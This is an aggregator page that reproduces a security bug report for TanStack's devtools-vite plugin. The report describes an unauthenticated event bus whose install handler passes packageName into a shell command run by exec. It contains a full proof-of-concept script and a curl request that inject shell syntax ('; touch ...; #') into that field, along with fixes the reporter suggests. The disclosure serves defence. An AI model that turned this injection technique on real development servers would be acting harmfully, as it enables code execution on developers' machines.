Unauthenticated devtools event can trigger shell command injection during package install
Ninguém assumiu esta issue ainda.
Avaliação
- Dificuldade
- 4/5
- Tempo estimado
- 3-5 dias
- Facilidade para iniciantes
- 52/100
- Tipo de issue
- Bug
- Clareza
- Claramente especificada
- Status de atividade
- Ativa
- Stack de tecnologia
- node.js, typescript, vite
Direção de pesquisa
Comece por packages/devtools-vite/src/package-manager.ts e packages/devtools-vite/src/plugin.ts para rastrear packageName até a instalação e, em seguida, inspecione packages/devtools-event-bus/src/server/server.ts quanto ao tratamento de mensagens não autenticadas. Reproduza o problema com o projeto Vite fornecido e verifique se a sintaxe de shell injetada não é mais executada para os eventos install-devtools e bump-package-version.
Escrita pelo modelo de indexação a partir do texto da issue.
Descrição
TanStack Devtools version
@tanstack/[email protected]
Framework/Library version
Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64
Describe the bug and the steps to reproduce it
@tanstack/[email protected] appears to allow command injection through the development devtools event bus.
When the Vite plugin runs in development mode, it starts a TanStack Devtools event bus, normally on localhost:4206, and registers handlers for events such as install-devtools and bump-package-version.
Those handlers trust the event payload's packageName value and pass it into installPackage(). installPackage() then builds a package-manager shell command string such as:
npm install -D ${packageName}
pnpm add -D ${packageName}
yarn add -D ${packageName}
bun add -D ${packageName}
The command is executed with child_process.exec(). Because packageName is not validated, escaped, or passed as an argv element, shell metacharacters in the event payload can execute local commands in the Vite dev server process.
Relevant source locations:
packages/devtools-vite/src/plugin.ts
packages/devtools-vite/src/package-manager.ts
packages/devtools-event-bus/src/server/server.ts
The Vite plugin starts the event bus:
const preferredPort = args?.eventBusConfig?.port ?? 4206
const serverHost =
typeof server.config.server.host === 'string'
? server.config.server.host
: 'localhost'
const bus = new ServerEventBus({
...args?.eventBusConfig,
port: preferredPort,
host: serverHost,
})
devtoolsPort = await bus.start()
The same plugin registers package-installation handlers:
devtoolsEventClient.on('install-devtools', async (event) => {
const result = await installPackage(event.payload.packageName)
...
})
devtoolsEventClient.on('bump-package-version', async (event) => {
const { packageName, minVersion } = event.payload
const packageWithVersion = minVersion
? `${packageName}@^${minVersion}`
: packageName
const result = await installPackage(packageWithVersion)
...
})
The command injection sink is:
const getInstallCommand = (
packageManager: string,
packageName: string,
): string => {
switch (packageManager) {
case 'yarn':
return `yarn add -D ${packageName}`
case 'pnpm':
return `pnpm add -D ${packageName}`
case 'bun':
return `bun add -D ${packageName}`
case 'npm':
default:
return `npm install -D ${packageName}`
}
}
export const installPackage = async (packageName: string) => {
...
const installCommand = getInstallCommand(packageManager, packageName)
...
exec(installCommand, async (installError) => {
...
})
}
The event bus forwards unauthenticated WebSocket messages to server-side listeners:
ws.on('message', (msg) => {
const data = parseWithBigInt(msg.toString())
this.emitToServer(data)
})
Steps to reproduce:
rm -rf /tmp/tanstack-devtools-vite-poc
mkdir /tmp/tanstack-devtools-vite-poc
cd /tmp/tanstack-devtools-vite-poc
npm init -y >/dev/null
npm install vite @tanstack/[email protected] >/dev/null
cat > vite.config.mjs <<'JS'
import { defineConfig } from 'vite';
import { devtools } from '@tanstack/devtools-vite';
export default defineConfig({
plugins: [
...devtools({
logging: false,
}),
],
});
JS
cat > index.html <<'HTML'
<div id="app">tanstack devtools vite poc</div>
<script type="module" src="/src/main.js"></script>
HTML
mkdir -p src
cat > src/main.js <<'JS'
console.log('tanstack devtools vite poc');
JS
rm -f /tmp/tanstack-devtools-vite-pwn
NODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 &
VITE_PID=$!
sleep 2
node --input-type=module <<'JS'
import { WebSocket } from 'ws';
const ws = new WebSocket('ws://localhost:4206/__devtools/ws');
ws.on('open', () => {
ws.send(JSON.stringify({
type: 'tanstack-devtools-core:install-devtools',
pluginId: 'tanstack-devtools-core',
payload: {
packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #',
pluginName: 'PocPlugin',
pluginImport: {
importName: 'PocPlugin',
type: 'jsx'
}
}
}));
setTimeout(() => ws.close(), 500);
});
setTimeout(() => process.exit(0), 1500);
JS
sleep 5
test -f /tmp/tanstack-devtools-vite-pwn && echo "VULNERABLE: marker created"
kill "$VITE_PID" 2>/dev/null || true
sed -n '1,80p' /tmp/tanstack-vite.log
Observed output:
VULNERABLE: marker created
[@tanstack/devtools-vite] Installing definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #...
[@tanstack/devtools-vite] Successfully installed definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #
[@tanstack/devtools-vite] Auto-adding definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; # to devtools...
[@tanstack/devtools-vite] Could not add plugin. Devtools file not found.
The marker file is created, showing that the shell parsed and executed the injected command.
I also reproduced the same issue through the HTTP event endpoint:
curl -X POST http://localhost:4206/__devtools/send \
-H 'Content-Type: application/json' \
--data '{"type":"tanstack-devtools-core:install-devtools","pluginId":"tanstack-devtools-core","payload":{"packageName":"x; touch /tmp/tanstack-devtools-vite-pwn; #","pluginName":"PocPlugin","pluginImport":{"importName":"PocPlugin","type":"jsx"}}}'
Impact:
I understand this package is intended for development tooling, so I would not describe this as a production application RCE. The narrower issue is that an unauthenticated local devtools event endpoint can trigger package-manager command execution with attacker-controlled shell syntax.
By default this is primarily a local development server risk. However, development servers often have access to source code, package-manager auth tokens, local environment variables, dependency credentials, and the developer's filesystem. The risk can also increase if the dev server/event bus is exposed through server.host, a tunnel, a container port mapping, or a shared development environment.
Suggested fix:
- Avoid constructing package-manager commands as shell strings.
- Use
spawn()orexecFile()withshell: false, passing the package name as a separate argv element. - Validate package names with a package-name parser such as
npm-package-arg, or restrict this event to a known allowlist of TanStack devtools packages. - Require a per-dev-server random token for mutating event-bus actions.
- Check WebSocket
Originwhere possible. - Avoid
Access-Control-Allow-Origin: *for mutating event endpoints. - Consider requiring explicit user confirmation before package-install actions.
Your Minimal, Reproducible Example - (Sandbox Highly Recommended)
The reproduction above is a complete local shell script. It creates a minimal Vite project from scratch, installs only vite and @tanstack/[email protected], starts the dev server, sends the event payload, and checks for the marker file.
Screenshots or Videos (Optional)
No response
Do you intend to try to help solve this bug with your own PR?
No response
Terms & Code of Conduct
- I agree to follow this project's Code of Conduct
- I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.
- Linguagem predominante
- TypeScript
- Estrelas
- 500
- Forks
- 100
- Merge médio
- 6d 4h
- PRs com merge (30d)
- 5
Preparar o ambiente
- Sem Dockerfile nem arquivo Docker Compose
- Tem um modelo de pull request
- Ler o guia de contribuição
Primeiros passos
- Leia a issue inteira e depois o guia de contribuição do projeto.
- Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
- Faça um fork do repositório e trabalhe em uma branch.
- Abra um pull request que referencie o número da issue.
Mais de TanStack/devtools
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 78/100
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 75/100
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 78/100
-
Dificuldade 4/5 3-5 dias Facilidade para iniciantes 45/100
-
Dificuldade 3/5 1-2 dias Facilidade para iniciantes 74/100
Todas as issues de TanStack/devtools
Issues semelhantes
-
Add: Digi World (Romania) SDAbertacheck:passed streams:add
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 72/100
Mantenedores costumam responder em até 1 dia
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 88/100
Fission-AI/OpenSpec#1986 ·
Mantenedores costumam responder em até 1 dia
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 75/100
nestjs/docs.nestjs.com#3554 ·
Mantenedores costumam responder em até 1 dia
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 74/100
publicodes/publicodes#868 ·
-
namespace operations
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 78/100
EclipseFdn/open-vsx.org#13488 ·
Mantenedores costumam responder em até 2 dias